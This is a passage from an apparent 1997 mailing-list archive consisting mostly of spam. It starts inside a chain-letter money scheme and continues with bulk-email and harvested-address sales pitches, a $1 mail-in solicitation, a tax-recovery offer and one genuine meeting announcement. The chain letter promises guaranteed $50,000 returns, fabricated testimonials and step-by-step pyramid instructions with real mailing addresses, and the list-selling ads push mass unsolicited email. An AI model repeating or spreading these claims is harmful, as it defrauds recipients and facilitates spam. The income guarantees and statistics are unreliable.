ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T, SEND OUT MORE 
PROGRAMS UNTIL YOU DO!  My first step in making  $50,000 in 20 to 90 
days was done. By April 30th, I had received 196 orders for REPORT #2.  
If you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS 
FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL 
YOU DO." Once you have 100 orders, THE REST IS EASY! Relax, YOU WILL 
MAKE YOUR  $50,000 GOAL." Well, I had 196 orders for REPORT #2:  96 more 
than I needed!  So I sat back and relaxed....

By March 19th, I had received $58,000 with more coming in everyday!  I paid off ALL my debts 
and bought a much needed new car. 

PLEASE!  Take time to read the attached program;  IT WILL CHANGE YOUR 
LIFE FOREVER!  Remember,  it won't work if you don't try it.  This 
program does work, but you must follow it EXACTLY!  Especially the rules 
of not trying to place your name in a different place.  It doesn't work 
and you'll lose out on a lot of money.  REPORT #2 explains this.  Always 
follow the guarantee of 15 to 20 orders for REPORT #1, and 100 or more 
orders for REPORT #2 and you will make  $50,000 or more in 20 to 90 
days. I AM LIVING PROOF THAT IT WORKS!

If you choose not to participate in this program, I'm sorry. It really 
is great opportunity with little cost or risk to you.  If you choose to 
participate, follow the program and you will be on your way to financial  
security.

If you are a fellow business owner and you are in financial trouble like 
I was, or if you want to start your own business, consider this a sign.  
I DID!

Sincerely,
Chris Eckerson

P.S. Do you have any idea what 11,700   $5 bills ($58,500) looks like 
piled up on a kitchen table?   IT'S AWESOME!
------------------------------------------------------------------------

"THREW IT AWAY"
"I received this program before . I threw it away, but later wondered if 
I shouldn't have given it a try. Of course I had no idea who to contact 
to get a copy so I had to wait until I was e-mailed another copy of the 
program.  Eleven months passed before it came. I DIDN'T throw this one 
away and I made $41,000 on the first try.
Dawn W., Evansville, IN
------------------------------------------------------------------------

"NO FREE LUNCH"
"My late father always told me, "Remember Alan, there is no free lunch 
in life. You get out of life what you put into it. ' Through trial and 
error and a somewhat slow and frustrating start, I finally figured it 
out. The program works very well, I just had to find the right target 
group of people to e-mail it to. So far this year, I have made over 
$63,000 using this program. I know my dad would have been very proud of 
me."
Alan B., Philadelphia, PA
------------------------------------------------------------------------

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM.
By the time you've read the enclosed information and looked over the 
program and reports, you should have concluded that such a program...and 
one that is legal, could have been created by an amateur.

Let me tell a little about myself. I had a profitable business for ten 
years. Then in 1979 my business began falling off. I was doing the same 
things that were previously successful for me, but it wasn't working. 
Finally, I figured it out. It wasn't me, it was the economy. Inflation 
and recession had replaced the stable economy that had been with us 
since 1945. I don't have  to tell you what happened to the unemployment 
rate....many of you know from first hand experience. There were more 
failures and bankruptcies than ever before.

The middle class was vanishing. Those who knew what they were doing 
invested wisely and moved up. Those who did not, including those who 
never had anything to save or invest, were moving down the ranks of the 
poor. As the saying goes, "THE RICH GET RICHER AND POOR GET POORER". The 
traditional methods of making money will never allow you to "move up"  
or "get rich". Inflation will see to that.

You have just received information that can give you financial freedom 
for the rest of your life. With no risk and just a little bit of effort 
you can make more money in the next few months than you have ever 
imagined.

Let me also point out that I will not see a penny of your money, nor 
anyone else who has provided a testimonial for this program. I have 
already made over FOUR MILLION DOLLARS!  I have retired from the program 
after sending out over 16,000 programs. Now I have several offices which 
market this and several other programs here in the U.S. and overseas. By 
early spring, we hope to be marketing the internet via a partnership 
with America On Line.

Follow the program EXACTLY AS INSTRUCTED. Do not change it in anyway; it 
works exceedingly well as it is now. Remember to e-mail a copy of this 
exciting program to everyone that you can think of. One of the people 
you send this to may send out 50,000 and your name will be on everyone 
of them! Remember, the more you send out, the more potential customers 
you will reach.

So, my friend, I have given you the ideas, information, materials and 
opportunity to become financially independent.  NOW IT IS UP TO YOU!
------------------------------------------------------------------------

"THINK ABOUT IT"
Before you delete this program from your mailbox, as I almost did, take 
a little time to read it and THINK ABOUT IT. Get a pencil and figure out 
what could happen when YOU participate. Figure out the worst possible 
response and no matter how you calculate, you will still make a lot of 
money! You'll definitely get back what you invested. Any doubts you have 
will vanish when your first orders come in.  IT WORKS!
Paul Johnson, Raleigh, NC
------------------------------------------------------------------------ 

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU MONEY
Let's say that you decide to start small, just to see how it goes, and 
we'll assume you and all those involved send out 2,000 programs each. 
Let's also assume that the mailing receives a .5% response. Using a good 
list the response could be much better.

Also many people will send out hundreds of thousands of programs instead 
of 2,000. To continue with this example, you've sent out 2,000 programs; 
with a .5% response that is only 10 orders for report #1. Those 10 
people respond by sending out 2,000 programs each for a total of 20,000. 
One half of one percent (.5%, or 100 people) respond and order REPORT 
#2. Those 100 mail out 2,000 programs each for a total of 200,000. The 
.5% response to that is 1,000 orders for REPORT #3. Finally, those 1,000 
send out 2,000 programs each for a 2,000,000 total. The .5% response to 
that is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for 
you....CASH!  Your total income in this example is $50 + $500 + $5000 + 
$50,000 for a total of $55,550!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL
TO WILL DO ABSOLUTELY NOTHING AND TRASH THIS PROGRAM! DARE TO THINK FOR 
A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR EVEN JUST HALF SENT OUT 
100,000 PROGRAMS INSTEAD OF ONLY 2,000? Believe me, many people will do 
that and more! By the way, your cost to participate in this was 
practically nothing. You obviously already have an Internet connection 
and e-mail is FREE!  REPORT #3 will show you the best methods for bulk 
e-mailing and purchasing e-mail lists.

THIS IS A LEGITIMATE MONEY MAKING OPPORTUNITY. It does not require you 
to come into contact with people,  do any hard work, and best of all  
you never have to leave the house except to get the mail. If you believe 
that someday you'll get the big break that you've been waiting for THIS 
IS IT!  Simply follow the instructions and your dreams will come true. 
This multi-level e-mail order marketing program works perfectly 100% 
EVERY TIME. E-mail is the sales tool of the future. Take advantage of 
this non-commercialized method of advertising NOW!. The longer you wait, 
the more people will be doing business using e-mail. Get your piece of 
this action!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is 
being taught in the Harvard Business School, and both Stanford Research 
and The Wall Street Journal have stated that between 50% and 60% of all 
goods and services will be sold through multi-level methods by the mid 
to late 1990's. This is Multi-Billion Dollar industry and of the 500,000 
millionaires in the U.S., 20% (100,000) made their fortune in the last 
several years in MLM's. Moreover, statistics show 45 people become 
millionaires everyday through Multi-Level Marketing.

INSTRUCTIONS
We at Ferris Mail Order Marketing Business, have a method of raising 
capitol that REALLY WORKS 100% EVERY TIME. I am sure that you could use 
$50,000 to $125,000 in the next 20 to 90 days. Before you say "BULL", 
please read the program carefully.

This is not a chain letter, but a perfectly legal money making 
opportunity. Basically, this is what we do: As with all multi-level 
business, we build our business by recruiting new partners and selling 
our products. Every state in the USA allows you to recruit new multi-
level business partners, and we offer a product for EVERY dollar sent. 
ORDERS ARE PLACED AND FILLED THROUGH THE MAIL,  so you are not involved 
in personal selling. You do it privately, in your own home,  store or 
office.

This is the GREATEST Multi-Level Mail Order Marketing anywhere:

STEP 1:  Order all 4 REPORTS listed by NAME AND NUMBER. Do this by 
ordering the REPORT from each of the four names listed on the next page. 
For each REPORT, send  $5 CASH, (US DOLLAR) and a SELF-ADDRESSED, 
STAMPED envelope (Business size #10) to the person listed for the 
SPECIFIC REPORT. Print the  4 report sections and simply clip & INCLUDE 
the printed clip with the appropriate order. (no mix-ups that way) 
International orders should also include $1 extra for postage. It is 
essential that you specify the NAME and NUMBER of the report requested 
to the person you are ordering from. You will need ALL FOUR REPORTS 
because you will be REPRINTING and RESELLING them.  DO NOT alter the 
names or sequence other than what the instructions say.  
**IMPORTANT!  Always provide same-day service on all orders!**

STEP 2:  Replace the name and address under REPORT #1 with yours, moving 
the one that was there down to REPORT #2. Drop the name and address 
under REPORT #2 to REPORT #3,  moving that one that was under there to 
REPORT #4.  The name and address that were under REPORT #4 is dropped 
from the list and this party is no doubt on the way to the bank. When 
doing this, make certain you type the NAMES AND ADDRESSES CORRECTLY! DO 
NOT MIX UP or MOVE PRODUCT/REPORT POSITIONS!

STEP 3:  Having made the required changes in the NAME list, save it as a 
text ( .txt ) file in its own directory to be used with what ever e-mail 
program you like.  Again, REPORT #3 will tell you the best methods of 
bulk e-mailing and acquiring email lists.

STEP 4:  E-mail a copy of the entire program  (all of this is very 
important) to everyone whose address you can get your hands on. Start 
with friends and relatives since you can encourage them to take 
advantage of this fabulous money-making opportunity. (That's what I did 
and they love me more now than ever).

STEP 5:  E-mail to anybody and everyone! Use your imagination! You can 
get e-mail addresses from companies on the Internet who specialize in e-
mail mailing lists.  These are very cheap, 100,000 addresses for around 
$35 dollars.  IMPORTANT: You wont get a good response if you use an old 
list, so always request a FRESH,  NEW list. You will find out where to 
purchase these lists when you order the third REPORT.

STEP 6:  ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!

------------------------------------------------------------------------

REQUIRED REPORTS
***ORDER each REPORT by NUMBER and NAME***
ALWAYS SEND SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH FOR EACH
ORDER.  Print the following 4 report sections and simply clip & INCLUDE 
each clip with the appropriate order. (no mix-ups that way)
------------------------------------------------------------------------ 
REPORT #1  "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
ORDER REPORT #1 FROM:
       BIC
       P.O. Box 1393
       Newtown, PA  18940
       USA
----------------------------------------------------------------------- 
REPORT #2  "MAJOR CORPORATIONS AND MULTI-LEVEL SALES" 
ORDER REPORT #2 FROM:
       K C Lambeth
      115-1 WILLOW TRACE 
      CLEMMONS NC 27012-8815
      USA
------------------------------------------------------------------------ 
REPORT #3  "SOURCES FOR THE BEST MAILING LISTS" 
ORDER REPORT #3 FROM:
      KD Conrad
      73 LINCOLN AVE
      STAMFORD CT  06902-4102
      USA
------------------------------------------------------------------------ 
REPORT #4  "EVALUATING MULTI-LEVEL SALES PLANS" 
ORDER REPORT #4 FROM:
      BWR377
      POBOX 15552
      WINSTON SALEM NC 27113-0552
      USA
------------------------------------------------------------------------ 
REMEMBER:
ALWAYS SEND SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH FOR EACH
ORDER.  Print the above 4 report sections and simply clip & INCLUDE 
each clip with the appropriate order. (no mix-ups that way)
------------------------------------------------------------------------ 

CONCLUSION

I am enjoying the fortune that I have made by sending out this program. 
You too will be making money in 20 to 90 days if you follow the SIMPLE 
STEPS outlined in this mailing.

To be financially independent is to be FREE. Free to make financial 
decisions as never before. Go into business, get into investments, 
retire or take a vacation.   A lack of money hold you back. 

Very few people reach financial independence however, because when 
opportunity knocks, they choose to ignore it. It is much easier to say 
"NO" than "YES", and this is the question that you must answer. Will YOU 
ignore this amazing opportunity or will you take advantage of it? If you 
do nothing, you have indeed missed something and nothing will change. 
Please re-read this material! This is a special opportunity. If you have 
any questions, please feel free to write to the sender of this 
information. You will get a prompt and informative reply.

My method is simple. I sell thousands of people a product for $5 that 
cost me pennies to produce and e-mail. I should also point out that this 
program is legal and everyone who participates WILL make money. This is 
not a chain letter or pyramid scam. At times you have probably received 
chain letters, asking to send money on faith, but getting NOTHING in 
return, NO product whatsoever! Not only are chain letters illegal, but 
the risk of someone breaking the chain makes them quite unattractive.

You are offering a legitimate product to your people. After they 
purchase the products from you, they reproduce and resell them. It's 
simple free enterprise. As you learned from the enclosed material, the 
PRODUCT is a series of four FINANCIAL AND BUSINESS REPORTS. The 
information contained in these REPORTS will not only help you in making 
your participation in this program more rewarding, but will be useful to 
you in any other business decision you make in the years ahead. You are 
also buying the rights to reprint all of the REPORT, which will be 
ordered from you by those to whom you mail this program. The concise one 
and two page REPORTS you are buying can easily be reproduced at a local 
copy center for a cost of about 3 cents a copy. Best wishes with program 
and good luck!

"Not being a gambling type, it took me several weeks to make my mind to 
participate in this program. But conservative as I am, I decided that 
the initial investment was so little that there was no way that I could 
not get enough orders to at least get my money back. BOY, was I ever 
surprised when I found my medium size post office box crammed with 
orders! I will make more money this year than any ten years of my life."
Mary Riceland, Lancing, MI
------------------------------------------------------------------------

TIPS FOR SUCCESS
Send for your four REPORTS immediately so you will have them when the 
orders start coming in. When you receive a $5 order, you MUST send out 
the product/service to comply with US POSTAL and LOTTERY laws. Title 18 
Sections 1302 and 1341 specifically state that: "A PRODUCT OR SERVICE 
MUST BE EXCHANGED FOR MONEY RECEIVED." 

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:
1. Name your new company. You can use your own name if you desire.
2. Get a post office box (preferred).
3. Edit the names and addresses on the program. Remember, your name and 
Address go next to report #1 and the others all move down one, with the 
Fourth one being bumped off the list.
4. Obtain as many e-mail addresses as possible to send until you receive 
The information on mailing list companies in report #3.
5. Decide 0n the number of programs you intend to send out. The more you 
Send out & the quicker you send them, the more money you will make.
6. After mailing the programs, get ready to fill the orders. Copy the 
Four reports so you can send them out as soon as you receive an order. 
Important: always provide same-day service on orders you receive!
7. Make sure the letters & reports are neat and legible.
------------------------------------------------------------------------ 

YOUR GUARANTEE
The check point which GUARANTEES your success is simply this:  You must 
receive 15 to 20 orders for REPORT #1. This is a must! If you don't 
within two weeks, e-mail out more programs until you do. Then, a couple 
of weeks later you should receive at least 100 orders for report #2.  If 
you don't, send out more programs until you do. Once you have received 
100 or more orders for REPORT #2 (Take a deep breath) you can sit back 
and relax, YOU ARE GOING TO MAKE AT LEAST $50,000. Mathematically it is 
a proven guarantee. Of those who have participated in the program and 
reached the above GOALS, ALL have reached their $50,000 GUARANTEE. Also 
remember, every time your name is moved down the list you are in front 
of a different REPORT, so you can keep track of your program by knowing 
what people are ordering from you. IT'S THAT EASY! REALLY!

REMEMBER:  "HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING"
"INVEST A LITTLE TIME, ENERGY, AND MONEY NOW OR SEARCH FOR IT FOR THE 
REST OF YOUR LIFE."

<FONT  COLOR="#0f0f0f" BACK="#fffffe" SIZE=3>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: privuser@15058.com
Date: Wed, 12 Nov 1997 01:27:56 -0800 (PST)
To: privuser@mailexcite.com
Subject: Re: how's it going?
Message-ID: <31IPS2M13023A2WVZ@MAIL-RELAY.PCY.MCI.NET>
MIME-Version: 1.0
Content-Type: text/plain


Would you be interested in...

<*> Sending out a FREE Bulk Email Advertisement for your
    business or web page to over 250,000 PEOPLE PER DAY?

<*> Receiving 35,000,000 Email Addresses which can be used in
    your Bulk Emailings, FREE of charge?

You may shudder at the thought of Bulk Email.. but the simple
truth is.. BULK EMAIL WORKS!

If Bulk Email didn't work, THEN YOU WOULDN'T BE READING THIS!

YOUR COMPETITION is sending out Bulk Email Advertisements to
over 50,000,000 People on the Internet!  Why aren't YOU?

THOUSANDS of companies are sending out Bulk Email to dramatically
increase their profits and so should you!  Even Fortune 500
companies send out Bulk Email to MILLIONS of people!

With Bulk Email, you are reaching up to 250,000 people per day
for FREE!  Your business will DRAMATICALLY IMPROVE!

To Learn how YOU can send out Bulk Email to over 50,000,000
People on the Internet for FREE, visit our web site at:

http://204.50.168.174

To be removed from our Mailing List, respond to this email with
the word "REMOVE" in the subject line.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: BdavidC@venus.gmds.com
Date: Wed, 12 Nov 1997 10:51:53 -0800 (PST)
To: BdavidC@venus.gmds.com</A>
Subject: 48 MILLION Email Leads $195 + BONUSES
Message-ID: <BdavidC@venus.gmds.com>
MIME-Version: 1.0
Content-Type: text/plain





>              48  MILLION E-MAIL ADDRESS LEADS... Plus  Bonuses...
> 
> 
> 
> EARN INSANE PROFITS WITH THE RIGHT FORMULA
> 
> If you have a product, service, or message that you would like to get out 
> to Thousands, Hundreds of Thousands, or even Millions of people, you 
> have several options.Traditional methods include print advertising, direct 
> mail, radio, and television advertising. They are all effective, but they all 
> have two catches: They're EXPENSIVE and TIME CONSUMING. Not 
> only that, you only get ONE SHOT at making your message heard, by 
> the right people.
> 
> The INTERNET, the "Global Communications Frontier" has changed 
> this dramatically, including making countless individuals wealthy. 
> "Electronic Marketing," as it's commonly referred to, has effectively 
> leveled the playing fields of all types businesses.
> 
>
 > Here is just one of many true success stories we have seen...
> 
> a customer of ours did a mailing of 1 1/2 million emails on selling  
>  a home workers manual for $29.95. His results are very 
> typical and scary. He took in over 700 orders! 700 x $29.95 = $20,000. 
> This gentleman was so amazed, that after being skeptical, it had 
> really happened to him, he made it, he found a niche. That niche 
> was email! He went on and will be set for life in less 
> than a years time. All this from selling a manual via email. 
> 
> That was just one of the many success stories we hear everyday. 
> It may all sound to good to be true. Well, we can tell you this. It really 
> does work. Why else are so many individuals doing it? They are not 
> just wasting their time. They are all making mega bucks.
> 
> 
>             
>                    HERE'S THE BOTTOM LINE
> 
>                                      AND
> 
>                 WHAT WE CAN DO FOR YOU
> 
> 
> Here is what you get when you order today!
> 
> >> 48  Million Email Addresses... 1 per line in simple text format on a CD.
> Multiple files of 100,000 are the average  (no codes needed to open files). 
> You will receive email addresses of the following domains... AOL, 
> PRODIGY, COMPUSERVE, DELPHI, GENIE, JUNO, PIPELINE, 
> INTERAMP, MSN, MCI, and  MILLIONS OF OTHER MIXED EMAIL 
> ADDRESSES (.com, .net). All names listed above are seperated 
> in files by domain name for your convenience.
> 
> 
> PLUS THESE BONUS SPECIALS...
> 
> >> 2 Free Bulk Email Programs...Pegasus and Eudora. You will be able
> to load our names into these 2 Distribution List Software's for immediate, 
> around the clock launching! You can whip out as many distribution 
> lists as you like, and depending on the speed of your modem and 
> the length of your message, you will be able to send out around
> 10,000 to 30,000 messages per hour for free.

      "Floodgate" Bulk Email Loader Demo. This is the most popular 
> bulk emailer in the world. You can test drive it for free.

>  " GoldRush Steath and Stealth Pro full version Demos. Two of the Fastest
      Mailers in the World, The Pro being very Fast and real user Friendly!"
> 
> 
> >> Super Note Pad... This software will help manage your large text 
> files for you.
> 
> >> Winzip Self Extractor... This program will be needed when 
> de-compressing a compressed file. It will come in handy when 
> dealing with files of zip format.
> 
> >> Over 5,000 Places To Advertise For Free!
> 
> Plus Yet Another Bonus...
> 
> >> "Profits 2500 Series"... 7 manuals that will teach you how to market 
> on the internet and what offers work and which ones to stay clear of, 
> and much, much more!
> 
> 
> 
>  
> YOU GET EVERYTHING FOR ONLY $495...BUT WITH THIS SPECIAL 
> 
> UPDATE... SAVE $300 BY ORDERING WITHIN 5 DAYS!
> 
> >>> NOW ONLY $195! 
> 
> We have previously sold the seven manuals alone for over $350. Now 
> you can have the complete bonus package plus the 45 million e-mail  
> leads for the low price of only $195! 
> 
> All lists are almost completely free of any Duplicates,but We've added a few million 
   just in case. We do on a continual 
> basis, add New Names and Remove Undeliverables and Remove 
> Requests. 
> 
> The result is the Cleanest Email Address Leads Available Anywhere 
> to use over and over again, for a FRACTION of the cost that other 
> companies charge. Typical rates for acquiring email lists are from 
> 1 cent to as high as 3 cents per email address - that's
> "INFORMATION HIGHWAY" ROBBERY!.
> 
> Don't even hesitate on this one or you will miss out on the most 
> effective way to market anywhere..PERIOD!
> 
> 
> Start earning mega money and get started now!
> 
> 
> If you have any further questions call our Marketing Department at:
>  
>                               504-649-6248 
> 
> 
> To order our email package, simply print out or E-Mail the EZ ORDER FORM 
> below and mail it to our office today.
> 
> We accept Visa, Mastercard, AMEX,Discover Card, Checks by Mail.
> 
> _________________
> EZ Order Form 
 
 

 ______ Yes! I would like the Mega - 48,000,000 - email  addresses
                   Plus all the bonuses for only $195.

> _____Yes! I would like to order your 27,000,000 email addresses 
>               Plus all the bonuses for only $149.
 
> *Please select one of the following for shipping..
 
> ____I would like to receive my package OVERNIGHT. I'm including 
> $19 for shipping. (outside US add an additional $15 for shipping)
 
> ____I would like to receive my package 2 DAY delivery. I'm including 
> $10 for shipping.  (outside US add an additional $15 for shipping)
> 
> 
> 
> DATE_____________________________________________________
> 
> NAME____________________________________________________
> 
> COMPANY NAME___________________________________________
> 
> ADDRESS_________________________________________________
> 
> CITY, STATE, ZIP___________________________________________
> 
> PHONE NUMBERS__________________________________________
> 
> FAX NUMBERS_____________________________________________
> 
> EMAIL ADDRESS___________________________________________
> 
> 
> 
> TYPE OF CREDIT CARD: 
> 
> ______VISA _____MASTERCARD _____AMEX
> 
> CREDIT CARD# __________________________________________
> 
> EXPIRATION DATE________________________________________
> 
> NAME ON CARD___________________________________________
> 
> AMOUNT $____________________

> ADDRESS ____________________

   CITY - STATE - ZIP __________________________ 
> If different from Above.
 
> DATE:x__________________
> 
> 
> You may fax your order to us at:   1-504-649-7364
> 
>  
> 
> If you feel more comfortable sending payment through the mail, 
> please send all forms and Check or Money Order to:
> 
> Over Nite Letter Type  
> 230 West Hall Ave.
> P.O.Box 202
> Slidell,La.70460
> Email to BdavidC@aaanews.com
   Sorry no email orders for 5 days 
> 
 
                                     
 

                       
> 
> 
> ________________________________________________
> List Removal instructions. Simply send an email to 
> Remove@iemmc.org and you will be automatically
> removed from our list within 72 hours.
   If you have sent remove before, Please send again
   That file at our provider was corrupted by a Sicko,
   making it harder on those who do not wish to recieve
   commercial Email.
   Thank You
> _________________________________________________




ns
uns-jvm-3524
11-127
c#1




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dapeebjk12@canopous.net.br
Date: Wed, 12 Nov 1997 03:45:18 -0800 (PST)
To: Friend@public.com
Subject: E-Mail Fortune Cookie
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


To:  All humans who love to open fortune cookies, and are tired of icky, unhappy, thoughts clogging the brain cells of humanity!!

From:  Email Fortune Cookie Company....specializing in the manufacture and distribution of insightful, creative, positive wisdom and advice contained in a unique and funny email fortune cookies! 

Positive, funny fortunes are much needed in this sometimes not so happy world!  No political slant...No religious agenda...just pure goodness...pure happiness, officially prepared as an email fortune cookie for YOU!

Are you tired of watching tv... looking at the newspaper...listening to your boss...your friends... all spout off how unhappy they are, about how doomed world is?  Kinda makes you blue doesnt it?

It is time to receive your own, positive email fortune cookie guaranteed to make you laugh, improve your thinking, and improve your life!  

You can receive your own email fortune cookie(EFC) and begin to change your thinking, and thus the thinking of our world.  The specially prepared EFC will speak to the purity and goodness of the human mind, and how well and good life is!  

It is time positive fortunes replace the end of the world idiots who love to hear themselves!! Lets wipe out negativity together and divert the apocolypse..acopolipt...or whatever!!!  hehe....

So, send one juicy dollar bill, <U>along with your email address, to:  

Email Fortune Cookie Company, 
P.O. Box 359, 
Preston, Missouri 65732

and a special, officially prepared "EFC" will be promptly delivered to your email address!

Why send one dollar?  Well, listen to this: money is a symbol of the life energy we extend to the universe.... I am sending you positive energy... and to prosper at the same time is the essence of living.  

Sincerely:

EMAIL FORTUNE COOKIE COMPANY

Disclaimer:  Your address was recently purchased from a mail list company as a person who is interested in business opportunities.  If  this is not correct and you would like to be removed off our master list, please e-mail removenow@rocketmail.com or call (800) 420-7252 and your address will be removed immediately.  Thank you for your patience.  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: freedoment@ultramax.net
Date: Wed, 12 Nov 1997 00:36:10 -0800 (PST)
To: freedoment@ultramax.net
Subject: Dont feed the Fat man.
Message-ID: <199711120836.AAA17466@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


We will recover the last 3 years of Taxes ( state and federal )

Non-confrontational
100% success rate
No repercussions

As long as you put food in front of a Fat mans face he will eat
and eat.....and eat ........and eat,............... until he explodes!!
Our government now has a  5.4 Trillion dollar debt  !!!!
Your share is $20,000

Why would you keep feeding our Bloated Federal government
when you don't need to ---- unless you volunteered ????

Learn the truth about your income tax liability and where your
money goes !!!

Reply with "TAX" in the subject and include your address 
or call   1- 888- 820-1726 
we will mail a 23 page document that explains how this is
accomplished. 

If you have problems with the IRS, we'll get em off your back!

Thank you,
Freedom Enterprises
PS
We are not a "tax protest" group. We believe you should pay 
every cent of tax you legally owe.
**************************************************************************
If you are offended by this message please let us know so that
 we can remove you from our lists - our apologies. 
You may also want to join:  http://www:iemmc.org/
***************************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 12 Nov 1997 09:40:29 -0800 (PST)
To: Recipient List Suppressed:;
Subject: DCSB: James O'Toole on Digital Coupons and Distributed Commerce
Message-ID: <v031107d3b08f94ebaca4@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----



               The Digital Commerce Society of Boston

                            Presents

                        Dr. James O'Toole
                        Open Market, Inc.

              Digital Coupons and Distributed Commerce

                      Tuesday, December 2, 1997
                             12 - 2 PM
                 The Downtown Harvard Club of Boston
                   One Federal Street, Boston, MA


Jim says,

"Open Market's Transact commerce system version 3.0 introduces
new Digital Coupon capabilities that enable merchants to create
price promotion and special discount offers for their customers.
Digital Coupons provide a secure way for an online merchant to
easily implement repricing rules that a Transact-based distributed
commerce system uses to adjust prices at the point of sale.
This talk will include a brief overview of Open Market's commerce
product suite and their architecture.  I will explain how Digital
Coupons work, provide concrete details of how Transact 3.0
processes coupons and their impact on APIs, screens, and smart
statements.  I will also discuss the implications of digital coupons
and similar artifacts on the design of distributed commerce solutions
that rely on trusted intermediaries."

Dr. O'Toole is a senior member of the research and advanced development
staff of Open Market.  His current focus is on technology development and
software product architecture.  In 1997, Jim was responsible for the
conception of Open Market's Digital Coupon products.  Prior to joining Open
Market in 1996, Jim completed his Ph.D. in Electrical Engineering and
Computer Science at the Massachusetts Institute of Technology.


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, November 4, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$32.50. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, November 29, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $32.50. Please include your e-mail
address, so that we can send you a confirmation

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

January   Joseph Reagle        "Social Protocols": Meta-data
                                 and Negotiation in Digital Commerce
February  Donald Eastlake      SET


We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston



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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: promo54@hotmail.com
Date: Wed, 12 Nov 1997 10:15:18 -0800 (PST)
To: promo54@hotmail.com
Subject: Free XXX Shows for your site.
Message-ID: <199711121738.MAA02659@mail0.tor.acc.ca>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: doitnow@t-1net.com
Date: Fri, 14 Nov 1997 11:19:06 -0800 (PST)
To: COA20@auracom.com
Subject: Arthritic aardvarks?
Message-ID: <l03102813b087cec1f321@[207.215.86.169]>
MIME-Version: 1.0
Content-Type: text/plain



------------------------------------------------------------------
 We sell the one product that everybody needs... MONEY!
------------------------------------------------------------------

     Let me show you how... mailto:reports4u@t-1net.com


------------------------------------------------------------------
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------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jootero14@netcom.com (internazionale)
Date: Wed, 12 Nov 1997 22:08:47 -0800 (PST)
To: jootero14@netcom.com
Subject: I found you
Message-ID: <19971112665BAA47759@27364y34720w90nd82m2037.gateway.com>
MIME-Version: 1.0
Content-Type: text/plain


NEW IMPROVED with FREE software, FEE bulk e mail system,  FREE web site to do what you wish, ongoing support (optional), and a lot more! all included.

...........this is a one time mailing...............

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\$\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
you  are about to make at least $50,000
In less than 90 days
Read the enclosed program...then read it again...
////////////////////////////////////////////////////////////////////////////////
Dear friend,
The enclosed information is something I almost let slip through my
fingers.  Fortunately, sometime later I re-read everything and gave
some thought and study to it.

My name is Christopher Erickson.  Two years ago, the corporation I
worked at for the past twelve years down-sized and my position was
eliminated.  After unproductive job interviews,  I decided to open my
own business.  Over the past year, I incurred many unforeseen
financial problems.  I owed my family, friends, and creditors over
$35,000.  The economy was taking a toll on my business and I just
couldn't seem to make ends meet.  I had to refinance and borrow
against my home to support my family and struggling business.  I truly
believe it was wrong for me to be in debt like this.  AT THAT MOMENT
something significant happened in my life and I am writing to share my
experience in hopes that this will change your life
